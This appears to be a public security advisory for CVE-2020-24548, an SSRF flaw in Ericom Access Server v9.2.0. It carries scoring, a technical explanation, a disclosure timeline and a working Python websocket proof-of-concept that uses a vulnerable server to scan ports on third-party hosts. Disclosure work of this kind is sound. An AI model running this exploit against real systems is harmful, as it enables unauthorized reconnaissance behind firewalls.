Ericom Access Server for (AccessNow & Ericom Blaze) v9.2.0 Server Side Request Forgery

us hyp3rlinx (US) us
Risk: High
Local: No
Remote: Yes
CWE: CWE-918

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

[+] Credits: John Page (aka hyp3rlinx) [+] Website: [+] Source: [+] [+] ISR: ApparitionSec [Vendor] [Product] Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0 AccessNow is an HTML5 remote desktop gateway that works from any device with an HTML5 compatible browser, including from Chromebooks and locked down devices. Ericom Blaze provides remote desktop connectivity from Mac, Windows and Linux devices to applications on office / home PCs and virtual desktops (VDI). [Vulnerability Type] Server Side Request Forgery [CVE Reference] CVE-2020-24548 [Security Issue] Ericom Access Server allows attackers to initiate SSRF requests making outbound connections to arbitrary hosts and TCP ports. Attackers, who can reach the AccessNow server can target internal systems that are behind firewalls that are typically not accessible. This can also be used to target third-party systems from the AccessNow server itself. The AccessNow server will return an attacker friendly response, exfiltrating which ports are listening for connections. This can bypass Firewall rules and undermine the integrity of other systems and security controls in place. E.g. listen using Netcat, Nc64.exe -llvp 25 A) Ericom Server (defaults port 8080) B) Attacker C) Victim Using Wireshark we can observe A sends a SYN packet to C (port 25) C sends SYN/ACK to A A sends ACK to C. A sends ACK/FIN to C port 25. We will then get an AccessNow server response similar to below. ["C","M",["Cannot connect to ''.",true]] This message indicates we cannot connect and helpfully informs us of closed vs open ports. [Affected Component] Ericom Server port 8080 will forward connections to arbitrary Hosts and or Ports which are sent using Web-Socket requests. Ericom server then replies with a "Cannot connect to" message if a port is in a closed state. [Attack Vectors] Remote attackers can abuse the Ericom Access Server to conduct port scans on arbitrary systems. This is possible due to a server side request forgery vulnerability and using a remote TCP socket program. [Impact Information Disclosure] true [CVE Impact Other] Exfiltration of open ports [Exploit/POC] import sys,ssl import websocket ##pip install websocket-client #Required #By hyp3rlinx #ApparitionSec #======================================================== #Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF #======================================================== BANNER=""" ______ _____ | ____| / ____| | |__ _ __ _ __ ___ _ __| | ___ _ __ ___ | __| | '__| '__/ _ \| '__| | / _ \| '_ ` _ \ | |____| | | | | (_) | | | |___| (_) | | | | | | |______|_| |_| \___/|_| \_____\___/|_| |_| |_| SSRF Exploit """ def ErrorCom(vs,vp,t,p): try: ws = websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+":"+p, sslopt={'cert_reqs': ssl.CERT_NONE}) ws.send("SSRF4U!") result = ws.recv() #print(result) if result.find("Cannot connect to")==-1: print("[+] Port "+p+" is open for business :)") else: print("[!] Port " + p+ " is closed :(") ws.close() except Exception as e: print(str(e)) if __name__=="__main__": if len(sys.argv) != 5: print(BANNER) print("[+] Ericom Access Server v9.2.0 - SSRF Exploit - CVE-2020-24548") print("[+] By Hyp3rlinX / ApparitionSec") print("[!] Usage: <vuln-server>,<port (usually 8080)>,<target>,<port-to-scan>") exit() if len(sys.argv[4]) > 5: print("[!] Port out of range") exit() print(BANNER) ErrorCom(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4]) [PoC Video URL] [Network Access] Remote [Severity] Medium [Disclosure Timeline] Vendor Notification : June 21, 2020 Received automated reply : June 21, 2020 Request for status : June 30, 2020 Vendor "Forwarded all the detail to our R&D and Management team" : June 30, 2020 Request for status : July 13, 2020 No vendor reponse Informed vendor advisory: August 11, 2020 Request for status : August 20, 2020 No vendor reponse August 22, 2020 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

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